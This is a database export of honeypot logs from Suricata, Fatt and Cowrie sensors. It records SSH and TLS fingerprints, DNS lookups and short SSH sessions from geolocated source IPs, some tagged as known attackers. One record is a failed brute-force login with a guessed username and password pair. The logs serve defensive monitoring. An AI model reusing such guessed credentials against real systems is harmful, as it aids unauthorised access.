24520	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:08:57.259518+03	2021-09-20 14:15:08.90447+03	{"_id": "hgblAnwBvYTbRNuEDhR3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 34832, "dest_port": 443, "timestamp": "2021-09-20T11:08:57.259518", "@timestamp": "2021-09-20T11:08:57.259Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
37479	192.168.20.103	109.199.241.180	Suricata	2021-09-20 15:22:03.963125+03	2021-09-20 15:30:03.726881+03	{"_id": "cAYnA3wBvYTbRNuE-2lB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.103", "stream": 0, "dest_ip": "224.0.0.1", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T12:22:03.963125Z", "@timestamp": "2021-09-20T12:22:03.963Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
24521	116.105.211.46	109.199.241.180	Suricata	2021-09-20 14:08:58.426941+03	2021-09-20 14:15:08.905501+03	{"_id": "qQblAnwBvYTbRNuEERRs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.105.211.46", "dest_ip": "192.168.20.116", "flow_id": 622690461764474, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 58592, "dest_port": 22, "timestamp": "2021-09-20T11:08:58.426941Z", "@timestamp": "2021-09-20T11:08:58.426Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
24522	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:08:58.13929+03	2021-09-20 14:15:08.906501+03	{"_id": "pgblAnwBvYTbRNuEERRs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 985933026031652, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner"]}, "src_port": 57684, "dest_port": 22, "timestamp": "2021-09-20T11:08:58.139290Z", "@timestamp": "2021-09-20T11:08:58.139Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
24523	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:08:58.744572+03	2021-09-20 14:15:08.9085+03	{"_id": "qwblAnwBvYTbRNuEERRs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 60289, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 2108, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 635888896464533, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 34742, "timestamp": "2021-09-20T11:08:58.744572Z", "@timestamp": "2021-09-20T11:08:58.744Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
24524	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:08:58.16546+03	2021-09-20 14:15:08.909501+03	{"_id": "rwblAnwBvYTbRNuEEhRi", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 57684, "dest_port": 22, "timestamp": "2021-09-20T11:08:58.165460", "@timestamp": "2021-09-20T11:08:58.165Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
24525	36.27.214.211	109.199.241.180	Fatt	2021-09-20 14:08:58.904431+03	2021-09-20 14:15:08.9105+03	{"_id": "sAblAnwBvYTbRNuEEhRi", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "36.27.214.211", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 39990, "dest_port": 22, "timestamp": "2021-09-20T11:08:58.904431", "@timestamp": "2021-09-20T11:08:58.904Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
24526	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:08:54.130877+03	2021-09-20 14:15:08.911501+03	{"_id": "RgbkAnwBvYTbRNuE_xRx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "4af32f5b4384", "@version": "1", "duration": 3.1407806873321533, "timestamp": "2021-09-20T11:08:54.130877Z", "@timestamp": "2021-09-20T11:08:54.130Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
24527	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:08:53.520877+03	2021-09-20 14:15:08.9125+03	{"_id": "TgbkAnwBvYTbRNuE_xR5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "c6b420926887", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:08:53.520877Z", "@timestamp": "2021-09-20T11:08:53.520Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
24528	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:08:53.835294+03	2021-09-20 14:15:08.9145+03	{"_id": "TwbkAnwBvYTbRNuE_xR5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "c6b420926887", "@version": "1", "timestamp": "2021-09-20T11:08:53.835294Z", "@timestamp": "2021-09-20T11:08:53.835Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
24529	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:08:54.059772+03	2021-09-20 14:15:08.915499+03	{"_id": "UAbkAnwBvYTbRNuE_xR5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.login.failed", "message": "login attempt [activesolutions/activesolutions] failed", "session": "bd8bbe1900cb", "@version": "1", "password": "activesolutions", "username": "activesolutions", "timestamp": "2021-09-20T11:08:54.059772Z", "@timestamp": "2021-09-20T11:08:54.059Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
24530	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:08:54.248966+03	2021-09-20 14:15:08.9165+03	{"_id": "UQbkAnwBvYTbRNuE_xR5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "287db2103534", "@version": "1", "duration": 3.181647777557373, "timestamp": "2021-09-20T11:08:54.248966Z", "@timestamp": "2021-09-20T11:08:54.248Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
24531	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:08:54.936555+03	2021-09-20 14:15:08.9185+03	{"_id": "UwblAnwBvYTbRNuEARTK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 160794646334705, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 55160, "dest_port": 22, "timestamp": "2021-09-20T11:08:54.936555Z", "@timestamp": "2021-09-20T11:08:54.936Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
24532	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:08:54.936736+03	2021-09-20 14:15:08.919502+03	{"_id": "VQblAnwBvYTbRNuEAhS_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 55160, "timestamp": "2021-09-20T11:08:54.936736", "@timestamp": "2021-09-20T11:08:54.936Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
